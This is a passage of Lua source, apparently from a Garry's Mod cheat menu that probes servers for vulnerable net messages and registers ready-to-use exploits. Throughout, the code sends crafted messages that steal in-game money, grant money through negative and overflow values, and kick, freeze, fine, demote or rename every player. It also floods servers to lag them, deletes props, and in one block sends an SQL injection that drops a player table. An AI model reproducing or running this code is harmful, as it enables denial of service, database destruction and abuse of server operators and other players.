6147inputFrame.Paint = function( self, w, h )
6148draw.RoundedBox( 5, 0, 0, w, h, Color(30, 30, 30))
6149end
6150local TextEntry = vgui.Create( "DTextEntry", inputFrame )
6151TextEntry:SetSize( 380, 30 )
6152TextEntry:SetPos( inputFrame:GetWide() / 2 - TextEntry:GetWide() / 2, inputFrame:GetTall() / 2 - TextEntry:GetTall() / 2 )
6153TextEntry:SetText( "--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------" )
6154TextEntry.OnEnter = function( self )
6155surface.PlaySound("garrysmod/ui_click.wav")
6156ECNotify("Changed")
6157net.Start("chname")
6158net.WriteString( (self:GetValue()) )
6159net.WriteString(" ")
6160net.SendToServer()
6161inputFrame:SetVisible(false)
6162end
6163end )
6164end
6165
6166status = ValidNetString("AbilityUse")
6167if (status) then
6168ECPrint("Found Exploit: Free Bonus [AbilityUse]")
6169addExploit( "77","Free Bonus", "allows you to instantly get bonuses", function()
6170surface.PlaySound("garrysmod/ui_click.wav")
6171for k, v in ipairs(rp.abilities.list) do
6172ECPrint("ID - "..k.." | "..v:GetName())
6173inputFrameExists = true
6174inputFrame = vgui.Create( "DFrame" )
6175inputFrame:SetTitle("Enter the id of the bonus")
6176inputFrame:SetSize( 400, 75 )
6177inputFrame:SetPos(ScrW() / 2 - inputFrame:GetWide() / 2, ScrH() / 2 + 230 )
6178inputFrame:SetDraggable(false)
6179inputFrame:ShowCloseButton(true)
6180inputFrame:MakePopup()
6181inputFrame.Paint = function( self, w, h )
6182draw.RoundedBox( 5, 0, 0, w, h, Color(30, 30, 30))
6183end
6184local TextEntry = vgui.Create( "DTextEntry", inputFrame )
6185TextEntry:SetSize( 380, 30 )
6186TextEntry:SetPos( inputFrame:GetWide() / 2 - TextEntry:GetWide() / 2, inputFrame:GetTall() / 2 - TextEntry:GetTall() / 2 )
6187TextEntry:SetText( "6" )
6188TextEntry.OnEnter = function( self )
6189surface.PlaySound("garrysmod/ui_click.wav")
6190ECNotify("Received")
6191net.Start("AbilityUse")
6192net.WriteInt(tonumber(self:GetValue()), 32)
6193net.SendToServer()
6194inputFrame:SetVisible(false)
6195end
6196end
6197end )
6198end
6199
6200status = ValidNetString("race_accept")
6201if (status) then
6202ECPrint("Found Exploit: Get Car [race_accept]")
6203addExploit( "78","Get Car", "", function()
6204surface.PlaySound("garrysmod/ui_click.wav")
6205inputFrameExists = true
6206inputFrame = vgui.Create( "DFrame" )
6207inputFrame:SetTitle("Enter the id of the car")
6208inputFrame:SetSize( 400, 75 )
6209inputFrame:SetPos(ScrW() / 2 - inputFrame:GetWide() / 2, ScrH() / 2 + 230 )
6210inputFrame:SetDraggable(false)
6211inputFrame:ShowCloseButton(true)
6212inputFrame:MakePopup()
6213inputFrame.Paint = function( self, w, h )
6214draw.RoundedBox( 5, 0, 0, w, h, Color(30, 30, 30))
6215end
6216local TextEntry = vgui.Create( "DTextEntry", inputFrame )
6217TextEntry:SetSize( 380, 30 )
6218TextEntry:SetPos( inputFrame:GetWide() / 2 - TextEntry:GetWide() / 2, inputFrame:GetTall() / 2 - TextEntry:GetTall() / 2 )
6219TextEntry:SetText( "1" )
6220TextEntry.OnEnter = function( self )
6221surface.PlaySound("garrysmod/ui_click.wav")
6222ECNotify("Starting")
6223net.Start("race_accept")
6224net.WriteInt(tonumber(self:GetValue()), 32)
6225net.SendToServer()
6226end
6227end )
6228end
6229
6230status = ValidNetString("NLR_SPAWN")
6231if (status) then
6232ECPrint("Found Exploit: Respawn #3 [NLR_SPAWN]")
6233addExploit( "79","Respawn #3", "instant revival", function()
6234surface.PlaySound("garrysmod/ui_click.wav")
6235ECNotify("Starting")
6236net.Start("NLR_SPAWN")
6237net.WriteEntity(LocalPlayer())
6238net.SendToServer()
6239end )
6240end
6241
6242status = ValidNetString("Kun_ZiptieStruggle")
6243if (status) then
6244ECPrint("Found Exploit: Break Handcuffs [Kun_ZiptieStruggle]")
6245addExploit( "80","Break Handcuffs", "Instantly breaks the handcuffs", function()
6246surface.PlaySound("garrysmod/ui_click.wav")
6247ECNotify("Starting")
6248for i=0,30 do
6249net.Start("Kun_ZiptieStruggle")
6250net.SendToServer()
6251end
6252end )
6253end
6254
6255status = ValidNetString("JB_Votekick")
6256if (status) then
6257ECPrint("Found Exploit: Abuses Jailbreak Votekick [JB_Votekick]")
6258addExploit( "81","Abuses Jailbreak Votekick", "kick all players", function()
6259surface.PlaySound("garrysmod/ui_click.wav")
6260ECNotify("Starting")
6261for k,v in pairs(player.GetAll()) do
6262net.Start("JB_Votekick")
6263net.WriteEntity(v)
6264net.WriteString("what? what? what? what? what? what? what? what? what? what? what? what? what? what? what? what? what? ")
6265net.SendToServer()
6266end
6267end )
6268end
6269
6270status = ValidNetString("Letthisdudeout")
6271if (status) then
6272ECPrint("Found Exploit: ByB Force Bail [Letthisdudeout]")
6273addExploit( "82","ByB Force Bail", "exploit on all Byb servers to bail yourself out", function()
6274surface.PlaySound("garrysmod/ui_click.wav")
6275ECNotify("Starting")
6276net.Start("Letthisdudeout")
6277net.WriteEntity(LocalPlayer())
6278net.SendToServer()
6279end )
6280end
6281
6282status = ValidNetString("opr_withdraw")
6283if (status) then
6284ECPrint("Found Exploit: Lagger #14 [opr_withdraw]")
6285addExploit( "83","Lagger #14", "discovered by Leith", function()
6286surface.PlaySound("garrysmod/ui_click.wav")
6287ECNotify("Starting")
6288timer.Create("lagger14", 0,0, function()
6289for i = 1, 1000 do
6290net.Start("opr_withdraw",true)
6291net.WriteEntity(LocalPlayer())
6292net.SendToServer()
6293end
6294end )
6295end )
6296end
6297
6298status = ValidNetString("NC_GetNameChange")
6299if (status) then
6300ECPrint("Found Exploit: Change all names [NC_GetNameChange]")
6301addExploit( "84","Change all names", "allows you to change the rp names of all players", function()
6302surface.PlaySound("garrysmod/ui_click.wav")
6303inputFrameExists = true
6304inputFrame = vgui.Create( "DFrame" )
6305inputFrame:SetTitle("Enter the name")
6306inputFrame:SetSize( 400, 75 )
6307inputFrame:SetPos(ScrW() / 2 - inputFrame:GetWide() / 2, ScrH() / 2 + 230 )
6308inputFrame:SetDraggable(false)
6309inputFrame:ShowCloseButton(true)
6310inputFrame:MakePopup()
6311inputFrame.Paint = function( self, w, h )
6312draw.RoundedBox( 5, 0, 0, w, h, Color(30, 30, 30))
6313end
6314local TextEntry = vgui.Create( "DTextEntry", inputFrame )
6315TextEntry:SetSize( 380, 30 )
6316TextEntry:SetPos( inputFrame:GetWide() / 2 - TextEntry:GetWide() / 2, inputFrame:GetTall() / 2 - TextEntry:GetTall() / 2 )
6317TextEntry:SetText( "AHAHAHAHAH" )
6318TextEntry.OnEnter = function( self )
6319surface.PlaySound("garrysmod/ui_click.wav")
6320ECNotify("Starting")
6321for k, v in pairs( player.GetAll() ) do
6322net.Start("NC_GetNameChange")
6323net.WriteEntity(v)
6324net.WriteString( (self:GetValue()) )
6325net.WriteString( (self:GetValue()) )
6326net.SendToServer()
6327end
6328end
6329end )
6330end
6331
6332status = ValidNetString("revival_revive_accept")
6333if (status) then
6334ECPrint("Found Exploit: Reanimation #2 [revival_revive_accept]")
6335addExploit( "85","Reanimation #2", "instant revival, discovered by Leith", function()
6336surface.PlaySound("garrysmod/ui_click.wav")
6337if !timer.Exists( "exploit_revive" ) then
6338ECNotify( "Enabled" )
6339timer.Create( "exploit_revive", 0.5, 0, function()
6340if !LocalPlayer():Alive() then
6341net.Start("revival_revive_accept")
6342net.SendToServer()
6343end
6344end )
6345else
6346timer.Remove( "exploit_revive" )
6347ECNotify( "Disabled" )
6348end
6349end )
6350end
6351
6352status = ValidNetString("join_disconnect")
6353if (status) then
6354ECPrint("Found Exploit: Lagger #15 [join_disconnect]")
6355addExploit( "86","Lagger #15", "b1g lags my duder", function()
6356surface.PlaySound("garrysmod/ui_click.wav")
6357ECNotify("Starting")
6358if not timer.Exists("lagger15") then
6359timer.Create("lagger15", 0.5, 0, function()
6360for i = 1, 3000 do
6361net.Start("join_disconnect",true)
6362net.WriteEntity(table.Random(player.GetAll()))
6363net.SendToServer()
6364end
6365end)
6366else
6367timer.Remove("lagger15")
6368ECNotify("Stopping")
6369end
6370end )
6371end
6372
6373status = ValidNetString("BuyFirstTovar")
6374if (status) then
6375ECPrint("Found Exploit: Free Physgun [BuyFirstTovar]")
6376addExploit( "87","Free Physgun", "get physgun", function()
6377surface.PlaySound("garrysmod/ui_click.wav")
6378ECNotify("Take physgun")
6379net.Start("BuyFirstTovar")
6380net.WriteString("0")
6381net.SendToServer()
6382end )
6383end
6384
6385status = ValidNetString("BuySecondTovar")
6386if (status) then
6387ECPrint("Found Exploit: Free Gravitygun [BuySecondTovar]")
6388addExploit( "88","Free Gravitygun", "get gravitygun", function()
6389surface.PlaySound("garrysmod/ui_click.wav")
6390ECNotify("Take gravitygun")
6391net.Start("BuySecondTovar")
6392net.WriteString("0")
6393net.SendToServer()
6394end )
6395end
6396
6397status = ValidNetString("MONEY_SYSTEM_GetWeapons")
6398if (status) then
6399ECPrint("Found Exploit: Give Weapons #2 [MONEY_SYSTEM_GetWeapons]")
6400addExploit( "89","Give Weapons #2", "get weapons", function()
6401surface.PlaySound("garrysmod/ui_click.wav")
6402ECNotify("Starting")
6403for i = 1,32 do
6404net.Start("MONEY_SYSTEM_GetWeapons")
6405net.WriteInt(i, 8)
6406net.SendToServer()
6407end
6408end )
6409end
6410
6411status = ValidNetString("MCon_Demote_ToServer")
6412if (status) then
6413ECPrint("Found Exploit: Demote All Players #2 [MCon_Demote_ToServer]")
6414addExploit( "90","Demote All Players #2", "demote all players", function()
6415surface.PlaySound("garrysmod/ui_click.wav")
6416ECNotify("Starting")
6417for k,v in pairs(player.GetAll()) do
6418net.Start("MCon_Demote_ToServer")
6419net.WriteString(v:SteamID())
6420net.SendToServer()
6421end
6422end )
6423end
6424
6425status = ValidNetString("withdrawMoney")
6426if (status) then
6427ECPrint("Found Exploit: Steal All Monies #3 [withdrawMoney]")
6428addExploit( "91","Steal All Monies #3", "withdraw money from all printers, discovered by Leith", function()
6429surface.PlaySound("garrysmod/ui_click.wav")
6430ECNotify("Starting")
6431for k, v in pairs(ents.GetAll()) do
6432net.Start("withdrawMoney")
6433net.WriteEntity(v)
6434net.SendToServer()
6435end
6436end )
6437end
6438
6439status = ValidNetString("withdrawMoney")
6440if (status) then
6441ECPrint("Found Exploit: Lagger #16 [withdrawMoney]")
6442addExploit( "92","Lagger #16", "discovered by Leith", function()
6443surface.PlaySound("garrysmod/ui_click.wav")
6444ECNotify("Starting")
6445timer.Create("lagger16", 0, 0, function()
6446for i=1,1000 do
6447net.Start("withdrawMoney",true)
6448net.WriteEntity(LocalPlayer())
6449net.SendToServer()
6450end
6451end )
6452end )
6453end
6454
6455status = ValidNetString("SyncPrinterButtons76561198027292625")
6456if (status) then
6457ECPrint("Found Exploit: Steal All Monies #4 [SyncPrinterButtons76561198027292625]")
6458addExploit( "93","Steal All Monies #4", "withdraw money from all printers", function()
6459surface.PlaySound("garrysmod/ui_click.wav")
6460ECNotify("Starting")
6461for k, v in pairs(ents.GetAll()) do
6462net.Start("SyncPrinterButtons76561198027292625")
6463net.WriteEntity(v)
6464net.WriteUInt(2, 4)
6465net.SendToServer()
6466end
6467end )
6468end
6469
6470status = ValidNetString("gPrinters.retrieveMoney")
6471if (status) then
6472ECPrint("Found Exploit: Steal All Monies #5 [gPrinters.retrieveMoney]")
6473addExploit( "94","Steal All Monies #5", "withdraw money from all printers, discovered by Leith", function()
6474surface.PlaySound("garrysmod/ui_click.wav")
6475ECNotify("Starting")
6476for k, v in pairs(ents.GetAll()) do
6477net.Start("gPrinters.retrieveMoney")
6478net.WriteEntity(v)
6479net.SendToServer()
6480end
6481end )
6482end
6483
6484status = ValidNetString("gPrinters.retrieveMoney")
6485if (status) then
6486ECPrint("Found Exploit: Lagger #17 [gPrinters.retrieveMoney]")
6487addExploit( "95","Lagger #17", "discovered by Leith", function()
6488surface.PlaySound("garrysmod/ui_click.wav")
6489ECNotify("Starting")
6490timer.Create("lagger17", 0, 0, function()
6491for i=1,1000 do
6492net.Start("gPrinters.retrieveMoney",true)
6493net.WriteEntity(LocalPlayer())
6494net.SendToServer()
6495end
6496end )
6497end )
6498end
6499
6500status = ValidNetString("NGII_TakeMoney")
6501if (status) then
6502ECPrint("Found Exploit: Steal All Monies #6 [NGII_TakeMoney]")
6503addExploit( "96","Steal All Monies #6", "withdraw money from all printers", function()
6504surface.PlaySound("garrysmod/ui_click.wav")
6505ECNotify("Starting")
6506for k, v in pairs(ents.GetAll()) do
6507net.Start("NGII_TakeMoney")
6508net.WriteEntity(v)
6509net.WriteEntity(LocalPlayer())
6510net.SendToServer()
6511end
6512end )
6513end
6514
6515status = ValidNetString("money_clicker_withdraw")
6516if (status) then
6517ECPrint("Found Exploit: Lagger #18 [money_clicker_withdraw]")
6518addExploit( "97","Lagger #18", "discovered by Leith", function()
6519surface.PlaySound("garrysmod/ui_click.wav")
6520ECNotify("Starting")
6521timer.Create("lagger18", 0, 0, function()
6522for i=1,1000 do
6523net.Start("money_clicker_withdraw",true)
6524net.WriteEntity(LocalPlayer())
6525net.SendToServer()
6526end
6527end )
6528end )
6529end
6530
6531status = ValidNetString("opr_withdraw")
6532if (status) then
6533ECPrint("Found Exploit: Steal All Monies #7 [opr_withdraw]")
6534addExploit( "98","Steal All Monies #7", "withdraw money from all printers", function()
6535surface.PlaySound("garrysmod/ui_click.wav")
6536ECNotify("Starting")
6537for k, v in pairs(ents.GetAll()) do
6538net.Start("opr_withdraw")
6539net.WriteEntity(v)
6540net.SendToServer()
6541end
6542end )
6543end
6544
6545status = ValidNetString("NET_DoPrinterAction")
6546if (status) then
6547ECPrint("Found Exploit: Steal All Monies #8 [NET_DoPrinterAction]")
6548addExploit( "99","Steal All Monies #8", "withdraw money from all printers", function()
6549surface.PlaySound("garrysmod/ui_click.wav")
6550ECNotify("Starting")
6551for k, v in pairs(ents.GetAll()) do
6552if v:GetClass():find("print") then
6553net.Start("NET_DoPrinterAction")
6554net.WriteEntity(LocalPlayer())
6555net.WriteEntity(v)
6556net.WriteInt(2,16)
6557net.SendToServer()
6558end
6559end
6560end )
6561end
6562
6563status = ValidNetString("tickbooksendfine")
6564if (status) then
6565ECPrint("Found Exploit: Ticket Book [tickbooksendfine]")
6566addExploit( "100","Ticket Book", "allows you to write a fine to all players, discovered by Leith", function()
6567surface.PlaySound("garrysmod/ui_click.wav")
6568ECNotify("Starting")
6569local reasonstable = {"NICE EXPLOIT, RIGHT? discord.gg/2cG6Mcp"}
6570for k, v in pairs(player.GetAll()) do
6571if v != LocalPlayer() then
6572net.Start("tickbooksendfine")
6573net.WriteString(v:SteamID())
6574net.WriteTable(reasonstable)
6575net.WriteDouble(3000, 32)
6576net.SendToServer()
6577end
6578end
6579end )
6580end
6581
6582status = ValidNetString("SyncPrinterButtons16690")
6583if (status) then
6584ECPrint("Found Exploit: Steal All Monies #9 [SyncPrinterButtons16690]")
6585addExploit( "101","Steal All Monies #9", "withdraw money from all printers", function()
6586surface.PlaySound("garrysmod/ui_click.wav")
6587ECNotify("Starting")
6588for k, v in pairs(ents.GetAll()) do
6589if v:GetModel() == "models/props_c17/consolebox01a.mdl" then
6590net.Start("SyncPrinterButtons16690")
6591net.WriteEntity(v)
6592net.WriteUInt(2, 4)
6593net.SendToServer()
6594end
6595end
6596end)
6597end
6598
6599status = ValidNetString("withdrawp")
6600if (status) then
6601ECPrint("Found Exploit: Steal All Monies #10 [withdrawp]")
6602addExploit( "102","Steal All Monies #10", "withdraw money from all printers", function()
6603surface.PlaySound("garrysmod/ui_click.wav")
6604ECNotify("Starting")
6605for k,v in pairs(ents.FindByClass("derma_printer")) do
6606net.Start("withdrawp")
6607net.WriteEntity(v)
6608net.SendToServer()
6609end
6610end)
6611end
6612
6613status = ValidNetString("withdrawp")
6614if (status) then
6615ECPrint("Found Exploit: Lagger #19 [withdrawp]")
6616addExploit( "103","Lagger #19", "discovered by Leith", function()
6617surface.PlaySound("garrysmod/ui_click.wav")
6618ECNotify("Starting")
6619timer.Create("lagger19", 0, 0, function()
6620for i=1,1000 do
6621net.Start("withdrawp",true)
6622net.WriteEntity(LocalPlayer())
6623net.SendToServer()
6624end
6625end )
6626end )
6627end
6628
6629status = ValidNetString("DarkRP_SS_Gamble")
6630if (status) then
6631ECPrint("Found Exploit: Free Money #3 [DarkRP_SS_Gamble]")
6632addExploit( "104","Free Money #3", "an exploit in the addon 'DarkRP Casino'", function()
6633surface.PlaySound("garrysmod/ui_click.wav")
6634ECNotify("Starting")
6635net.Start("DarkRP_SS_Gamble")
6636net.WriteInt(99999, 32)
6637net.WriteInt(1, 32)
6638net.WriteInt(0, 32)
6639net.WriteInt(0, 32)
6640net.WriteInt(1, 32)
6641net.SendToServer()
6642end )
6643end
6644
6645status = ValidNetString("PCAdd")
6646if (status) then
6647ECPrint("Found Exploit: Delete Promocode [PCAdd]")
6648addExploit( "105","Delete Promocode", "delete all promocodes", function()
6649surface.PlaySound("garrysmod/ui_click.wav")
6650ECNotify("Starting")
6651net.Start("PCAdd")
6652net.WriteString("alahman")
6653net.WriteString("300000000")
6654net.SendToServer()
6655timer.Simple(3,function()
6656net.Start("ActivatePC")
6657net.WriteString("alahman")
6658net.SendToServer()
6659net.Start("PCDelAll")
6660net.SendToServer()
6661end )
6662end )
6663end
6664
6665status = ValidNetString("viv_hl2rp_disp_message")
6666if (status) then
6667ECPrint("Found Exploit: HL2 Disp Message [viv_hl2rp_disp_message]")
6668addExploit( "106","HL2 Disp Message", "hl2 voice commands", function()
6669surface.PlaySound("garrysmod/ui_click.wav")
6670ECNotify("Starting")
6671for name, command in pairs (dispatchCommands) do
6672net.Start("viv_hl2rp_disp_message")
6673net.WriteString(command)
6674net.SendToServer()
6675end
6676end )
6677end
6678
6679status = ValidNetString("Kun_SellDrug")
6680if (status) then
6681ECPrint("Found Exploit: Free Money #4 [Kun_SellDrug]")
6682addExploit( "107","Free Money #4", "get monies", function()
6683surface.PlaySound("garrysmod/ui_click.wav")
6684if !timer.Exists( "freemoney4" ) then
6685ECNotify("Starting")
6686timer.Create( "freemoney4", 0, 0, function()
6687for i=1,1000 do
6688net.Start("Kun_SellDrug")
6689net.WriteString("mushroom")
6690net.SendToServer()
6691end
6692end)
6693else
6694timer.Remove( "freemoney4" )
6695ECNotify("Stopping")
6696end
6697end )
6698end
6699
6700status = ValidNetString("net_PSUnBoxServer")
6701if (status) then
6702ECPrint("Found Exploit: Point Shop Unbox [net_PSUnBoxServer]")
6703addExploit( "108","Point Shop Unbox", "an exploit in the addon 'Point Shop", function()
6704surface.PlaySound("garrysmod/ui_click.wav")
6705ECNotify("Starting")
6706for k,v in pairs(player.GetAll()) do
6707local i = 0
6708for k2,v2 in pairs(PS.Items) do
6709if !v:PS_HasItem(v2.ID) then
6710timer.Simple(k*i*1.7,function()
6711net.Start("net_PSUnBoxServer")
6712net.WriteEntity(v)
6713net.WriteString(v2.ID)
6714net.SendToServer()
6715end)
6716i = i + 1
6717end
6718end
6719end
6720end )
6721end
6722
6723status = ValidNetString("pplay_sendtable")
6724if (status) then
6725ECPrint("Found Exploit: ? Fuck the SQL database ? [pplay_sendtable]")
6726addExploit( "109","? Fuck the SQL database ?", "fuck all", function()
6727surface.PlaySound("garrysmod/ui_click.wav")
6728ECNotify("Starting")
6729local tbl = {}
6730tbl.tblname = "darkrp_door; DROP TABLE darkrp_player; CREATE TABLE darkrp_player(a STRING)"
6731tbl.ply = LocalPlayer()
6732net.Start("pplay_sendtable")
6733net.WriteTable(tbl)
6734net.SendToServer()
6735end )
6736end
6737
6738status = ValidNetString("75_plus_win")
6739if (status) then
6740ECPrint("Found Exploit: Free Money #5 [75_plus_win]")
6741addExploit( "110","Free Money #5", "get money", function()
6742surface.PlaySound("garrysmod/ui_click.wav")
6743ECNotify("Starting")
6744net.Start("75_plus_win")
6745net.WriteString("99999999")
6746net.WriteEntity(LocalPlayer())
6747net.SendToServer()
6748end )
6749end
6750
6751status = ValidNetString("ATMDepositMoney")
6752if (status) then
6753ECPrint("Found Exploit: Free Money #6 [ATMDepositMoney]")
6754addExploit( "111","Free Money #6", "an exploit in 'ATM'", function()
6755surface.PlaySound("garrysmod/ui_click.wav")
6756ECNotify("Starting")
6757net.Start("ATMDepositMoney")
6758net.WriteFloat(-9999999)
6759net.SendToServer()
6760end )
6761end
6762
6763status = ValidNetString("SellMinerals")
6764if (status) then
6765ECPrint("Found Exploit: Free Money #7 [SellMinerals]")
6766addExploit( "112","Free Money #7", "an exploit in 'eMining'", function()
6767surface.PlaySound("garrysmod/ui_click.wav")
6768ECNotify("Starting")
6769for k,v in pairs(SkillDB) do
6770if not ( v.iSkill == true ) then
6771net.Start("Upgrade")
6772net.WriteTable( { LuaName = v.LuaName, Amount = -9999999 } )
6773net.SendToServer()
6774net.Start("SellMinerals")
6775net.WriteTable({ Target = LocalPlayer() })
6776net.SendToServer()
6777end
6778end
6779end )
6780end
6781
6782status = ValidNetString("TakeBetMoney")
6783if (status) then
6784ECPrint("Found Exploit: Free Money #8 [TakeBetMoney]")
6785addExploit( "113","Free Money #8", "get money", function()
6786surface.PlaySound("garrysmod/ui_click.wav")
6787ECNotify("Starting")
6788net.Start("TakeBetMoney")
6789net.WriteTable({1e333333 , 1e333333})
6790net.SendToServer()
6791end )
6792end
6793
6794status = ValidNetString("Kun_SellOil")
6795if (status) then
6796ECPrint("Found Exploit: Free Money #9 [Kun_SellOil]")
6797addExploit( "114","Free Money #9", "get money", function()
6798surface.PlaySound("garrysmod/ui_click.wav")
6799ECNotify("Starting")
6800for k,v in pairs(ents.GetAll()) do
6801net.Start("Kun_SellOil")
6802net.WriteEntity(v)
6803net.SendToServer()
6804end
6805end )
6806end
6807
6808status = ValidNetString("DepositMoney")
6809if (status) then
6810ECPrint("Found Exploit: Free Money #10 [DepositMoney]")
6811addExploit( "115","Free Money #10", "get money", function()
6812surface.PlaySound("garrysmod/ui_click.wav")
6813ECNotify("Starting")
6814net.Start("DepositMoney")
6815for k,v in pairs(ents.GetAll()) do
6816net.WriteEntity(v)
6817net.WriteString(-100000000 )
6818net.WriteEntity(LocalPlayer())
6819net.SendToServer()
6820end
6821end )
6822end
6823
6824status = ValidNetString("NET_SS_DoBuyTakeoff")
6825if (status) then
6826ECPrint("Found Exploit: Free Money #11 [NET_SS_DoBuyTakeoff]")
6827addExploit( "116","Free Money #11", "get money", function()
6828surface.PlaySound("garrysmod/ui_click.wav")
6829ECNotify("Starting")
6830net.Start("NET_SS_DoBuyTakeoff",true)
6831net.WriteEntity(LocalPlayer())
6832net.WriteEntity(table.Random(player.GetAll()))
6833net.WriteTable({})
6834net.WriteInt(-1000000000000000000000000000000000000000000000000000000000000000000, 16)
6835net.SendToServer()
6836end )
6837end
6838
6839status = ValidNetString("NET_EcSetTax")
6840if (status) then
6841ECPrint("Found Exploit: Free Money #12 [NET_EcSetTax]")
6842addExploit( "117","Free Money #12", "get money", function()
6843surface.PlaySound("garrysmod/ui_click.wav")
6844ECNotify("Starting")
6845net.Start("NET_EcSetTax")
6846net.WriteInt(-9999999999, 16)
6847net.SendToServer()
6848end )
6849end
6850
6851status = ValidNetString("RP_Accept_Fine")
6852if (status) then
6853ECPrint("Found Exploit: Free Money #13 [RP_Accept_Fine]")
6854addExploit( "118","Free Money #13", "get money", function()
6855surface.PlaySound("garrysmod/ui_click.wav")
6856ECNotify("Starting")
6857for k,v in pairs(player.GetAll())do
6858net.Start("RP_Accept_Fine")
6859net.WriteString(v:Nick())
6860net.WriteDouble(-999999999999)
6861net.SendToServer()
6862end
6863end )
6864end
6865
6866status = ValidNetString("drugseffect_remove")
6867if (status) then
6868ECPrint("Found Exploit: Remove Weapons [drugseffect_remove]")
6869addExploit( "119","Remove Weapons", "remove all weapons", function()
6870surface.PlaySound("garrysmod/ui_click.wav")
6871ECNotify("Starting")
6872net.Start("drugseffect_remove")
6873net.SendToServer()
6874end )
6875end
6876
6877status = ValidNetString("drugs_money")
6878if (status) then
6879ECPrint("Found Exploit: Remove Money [drugs_money]")
6880addExploit( "120","Remove Money", "remove all money", function()
6881surface.PlaySound("garrysmod/ui_click.wav")
6882ECNotify("Starting")
6883net.Start("drugs_money")
6884net.SendToServer()
6885end )
6886end
6887
6888status = ValidNetString("CRAFTINGMOD_SHOP")
6889if (status) then
6890ECPrint("Found Exploit: Free Money #14 [CRAFTINGMOD_SHOP]")
6891addExploit( "121","Free Money #14", "an exploit in 'crafting mod'", function()
6892surface.PlaySound("garrysmod/ui_click.wav")
6893ECNotify("Starting")
6894net.Start("CRAFTINGMOD_SHOP")
6895net.WriteTable({
6896BUY = -9999999;
6897type = 1
6898})
6899net.WriteInt(1,16)
6900net.SendToServer()
6901end )
6902end
6903
6904status = ValidNetString("drugs_ignite")
6905if (status) then
6906ECPrint("Found Exploit: Fire Players [drugs_ignite]")
6907addExploit( "122","Fire Players", "", function()
6908surface.PlaySound("garrysmod/ui_click.wav")
6909ECNotify("Starting")
6910net.Start("drugs_ignite")
6911net.WriteString("player")
6912net.SendToServer()
6913end )
6914end
6915
6916status = ValidNetString("drugs_ignite")
6917if (status) then
6918ECPrint("Found Exploit: Fire Props [drugs_ignite]")
6919addExploit( "123","Fire Props", "", function()
6920surface.PlaySound("garrysmod/ui_click.wav")
6921ECNotify("Starting")
6922net.Start("drugs_ignite")
6923net.WriteString("prop_physics")
6924net.SendToServer()
6925end )
6926end
6927
6928status = ValidNetString("drugseffect_hpremove")
6929if (status) then
6930ECPrint("Found Exploit: Change HP [drugseffect_hpremove]")
6931addExploit( "124","Change HP", "", function()
6932surface.PlaySound("garrysmod/ui_click.wav")
6933ECNotify("Starting")
6934net.Start("drugseffect_hpremove")
6935net.WriteString(99999)
6936net.SendToServer()
6937end )
6938end
6939
6940status = ValidNetString("drugs_text")
6941if (status) then
6942ECPrint("Found Exploit: Delete All Props #2 [drugs_text]")
6943addExploit( "125","Delete All Props #2", "", function()
6944surface.PlaySound("garrysmod/ui_click.wav")
6945ECNotify("Starting")
6946net.Start("drugs_text")
6947net.WriteString("prop_physics")
6948net.SendToServer()
6949end )
6950end
6951
6952status = ValidNetString("drugs_give")
6953if (status) then
6954ECPrint("Found Exploit: Give Everyone RPG [drugs_give]")
6955addExploit( "126","Give Everyone RPG", "", function()
6956surface.PlaySound("garrysmod/ui_click.wav")
6957ECNotify("Starting")
6958net.Start("drugs_give")
6959net.WriteString("weapon_rpg")
6960net.SendToServer()
6961end )
6962end
6963
6964status = ValidNetString("drugs_text")
6965if (status) then
6966ECPrint("Found Exploit: Remove Water [drugs_text]")
6967addExploit( "127","Remove Water", "", function()
6968surface.PlaySound("garrysmod/ui_click.wav")
6969ECNotify("Starting")
6970net.Start("drugs_text")
6971net.WriteString("func_water_analog")
6972net.SendToServer()
6973end )
6974end
6975
6976status = ValidNetString("drugs_effect")
6977if (status) then
6978local eye = LocalPlayer():GetEyeTrace().Entity
6979local send = "del|"..eye:EntIndex()
6980ECPrint("Found Exploit: Remove looking at [drugs_effect]")
6981addExploit( "128","Remove looking at", "", function()
6982surface.PlaySound("garrysmod/ui_click.wav")
6983ECNotify("Starting")
6984net.Start("drugs_effect")
6985net.WriteString(send)
6986net.SendToServer()
6987end )
6988end
6989
6990status = ValidNetString("RecKickAFKer")
6991if (status) then
6992ECPrint("Found Exploit: Kick Everyone #2 [RecKickAFKer]")
6993addExploit( "129","Kick Everyone #2", "kick all players", function()
6994surface.PlaySound("garrysmod/ui_click.wav")
6995ECNotify("Starting")
6996for k, v in pairs( player.GetAll() ) do
6997net.Start("RecKickAFKer")
6998net.WriteEntity(v)
6999net.SendToServer()
7000end
7001end )
7002end
7003
7004status = ValidNetString("GMBG:PickupItem")
7005if (status) then
7006ECPrint("Found Exploit: Loot Items [GMBG:PickupItem]")
7007addExploit( "130","Loot Items", "", function()
7008surface.PlaySound("garrysmod/ui_click.wav")
7009ECNotify("Starting")
7010for k, v in pairs(ents.GetAll()) do
7011if v:GetClass() == "item_loot" then
7012net.Start("GMBG:PickupItem")
7013net.WriteEntity(v)
7014net.SendToServer()
7015net.Start("GMBG:PickupItem")
7016net.WriteEntity(v)
7017net.SendToServer()
7018net.Start("GMBG:PickupItem")
7019net.WriteEntity(v)
7020net.SendToServer()
7021net.Start("GMBG:PickupItem")
7022net.WriteEntity(v)
7023net.SendToServer()
7024net.Start("GMBG:PickupItem")
7025net.WriteEntity(v)
7026net.SendToServer()
7027net.Start("GMBG:PickupItem")
7028net.WriteEntity(v)
7029net.SendToServer()
7030end
7031end
7032end )
7033end
7034
7035status = ValidNetString("plyWarning")
7036if (status) then
7037ECPrint("Found Exploit: Kick Everyone #3 [plyWarning]")
7038addExploit( "131","Kick Everyone #3", "kick all players", function()
7039surface.PlaySound("garrysmod/ui_click.wav")
7040ECNotify("Starting")
7041for k, v in pairs( player.GetAll() ) do
7042net.Start('plyWarning')
7043net.WriteEntity(v)
7044net.WriteString('You have to select a player before doing a action.')
7045net.SendToServer()
7046end
7047end )
7048end
7049
7050status = ValidNetString("NLR.ActionPlayer")
7051if (status) then
7052ECPrint("Found Exploit: Freeze Everyone [NLR.ActionPlayer]")
7053addExploit( "132","Freeze Everyone", "", function()
7054surface.PlaySound("garrysmod/ui_click.wav")
7055ECNotify("Starting")
7056for k, v in pairs( player.GetAll() ) do
7057net.Start("NLR.ActionPlayer")
7058net.WriteEntity(v)
7059net.SendToServer()
7060end
7061end )
7062end
7063
7064status = ValidNetString("kart_sell")
7065if (status) then
7066ECPrint("Found Exploit: Free Money #15 [kart_sell]")
7067addExploit( "133","Free Money #15", "get money", function()
7068surface.PlaySound("garrysmod/ui_click.wav")
7069ECNotify("Starting")
